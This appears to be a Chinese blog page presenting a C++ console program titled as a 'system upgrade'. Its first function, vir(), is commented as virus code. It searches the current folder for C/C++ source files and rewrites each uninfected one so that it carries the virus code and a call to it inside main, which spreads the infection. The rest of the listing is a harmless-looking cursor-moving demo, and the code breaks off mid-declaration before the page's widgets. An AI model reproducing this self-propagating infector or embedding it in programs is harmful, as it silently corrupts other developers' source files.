C++系统升级版

#include<bits/stdc++.h>
#include<cstring>
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <ctime>
#include <conio.h>
#include <cmath>
#include <windows.h>

#define W 1       
#define S 2        
#define A 3         
#define D 4          
#define L 4
using namespace std;
void vir()
{ 
string CurFileName = __FILE__;//绝对路径
string obCurFileName          //相对路径
   = CurFileName.substr(CurFileName.find_last_of('//') + 1,CurFileName.size()-1);      
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
string VirusCode[100];//病毒代码 
string FileCode[500]; //宿主代码
 
int CodeLen = 0;//病毒代码长度
int FileLen = 0;//宿主代码长度 
 
//病毒函数调用应当插在"main("后面的第一个"{"后面 
//在C++中main有int main(),int main(int arg,char **r)等形式 
int InsertLoc = 0; 
 
//提取待传播的当前文件中的病毒代码 
ifstream VirusFile(obCurFileName.c_str()); 
for (CodeLen = 0;getline(VirusFile,VirusCode[CodeLen]);CodeLen++)
{
   if(VirusCode[CodeLen] == "//END")
   {
    CodeLen++;
    break;
   }
}
VirusFile.close();
//依次感染宿主文件 
while (true) 
{
   //不能感染当前.cpp文件和已感染的文件 
   if(strcmp(FindFileData.cFileName,obCurFileName.c_str())== 0)
   {
    cout<<FindFileData.cFileName<<":是感染源!/n";
   }
   else//感染其它文件 
   {
    //加载宿主文件 
    ifstream ibe(FindFileData.cFileName);
    for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
    {
     if (FileCode[FileLen].find("main") != -1)
     {
      InsertLoc = FileLen;
     }
    }
    ibe.close();
    if(FileCode[0] == "//START")//该文件已被感染 
    {
     cout<<FindFileData.cFileName<<":已携带了病毒!/n";
    }
    else if (FileLen > 500)
    {
     cout<<FindFileData.cFileName<<":文件太大了!/n";
    }
    else
    {
     //打开宿主文件
     ofstream be(FindFileData.cFileName);
     //插入病毒代码 
     for(int i = 0;i < CodeLen;i++)
     {
      be<<VirusCode[i]<<endl;
     }
     //病毒函数调用位置前文本插入 
     for(int i = 0;i < InsertLoc;i++)
     {
      be<<FileCode[i]<<endl;
     }
     //插入函数调用vir() 
     for(int i = InsertLoc;i < FileLen;i++)
     {
      int j = FileCode[i].find('{');
      if(j != -1)
      {
       FileCode[i].insert(j + 1,"/nvir();"); 
       break;
      }
     }
     //病毒函数调用位置后插入剩余文本 
     for(int i = InsertLoc;i < FileLen;i++)
     {
      be<<FileCode[i]<<endl;
     }
     be.close();
     cout<<FindFileData.cFileName<<":感染成功!/n";
    }
   }
   if (FindNextFile(hFind, &FindFileData) == false) break;
}
}
class aaa{
    int x;
    int y;
    int x1;
    int y1;
    public:
    aaa(){
    x=y=x1=y1=10;
    }
void bbb();
~aaa(){

}
};
void ccc(int a,int b){
    int i;
    system("cls");
    for(i=0;i<b;i++)
    cout<<endl;
    for(i=0;i<a-1;i++){
        cout<<' ';
    } 
    cout<<"*";
    }
void aaa::bbb(){
    char ch;
    int a,b;
    a=x1;
    b=y1;
    cout<<"原点坐标:"<<"("<<x<<","<<y<<")"<<endl;
    cout<<"该程序通过w,s,a,d实现*的上下左右移动,输入空格结束"<<endl;
    cout<<"*";
    ch=getch();
    while(1){
    ch=getch();
    switch(ch){
    case 'w':b=b-1;break;
    case 's':b=b+1;break;
    case 'a':a=a-1;break;
    case 'd':a=a+1;break;
    default:break;
}
    ccc(a,b);
    if(ch==' '){
    int sum=0;
    cout<<"最终坐标:"<<"("<<a<<","<<b<<")"<<endl;
    sum=sqrt((a-10)*(a-10)+(b-10)*(b-10));
    cout<<"两点间的距离="<<sum<<endl;
    break;
    }
    }
    }
HANDLE hout=GetStdHandle(STD_OUTPUT_HANDLE);
COORD coord;
 
void locate(int x,int y)
{
    coord.X=y;
    coord.Y=x;
    SetConsoleCursorPosition(hout,coord);
};
void hide()
{
    CONSOLE_CURSOR_INFO cursor_info={1,0};
    SetConsoleCursorInfo(hout, &cursor_info);
}
double random(
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值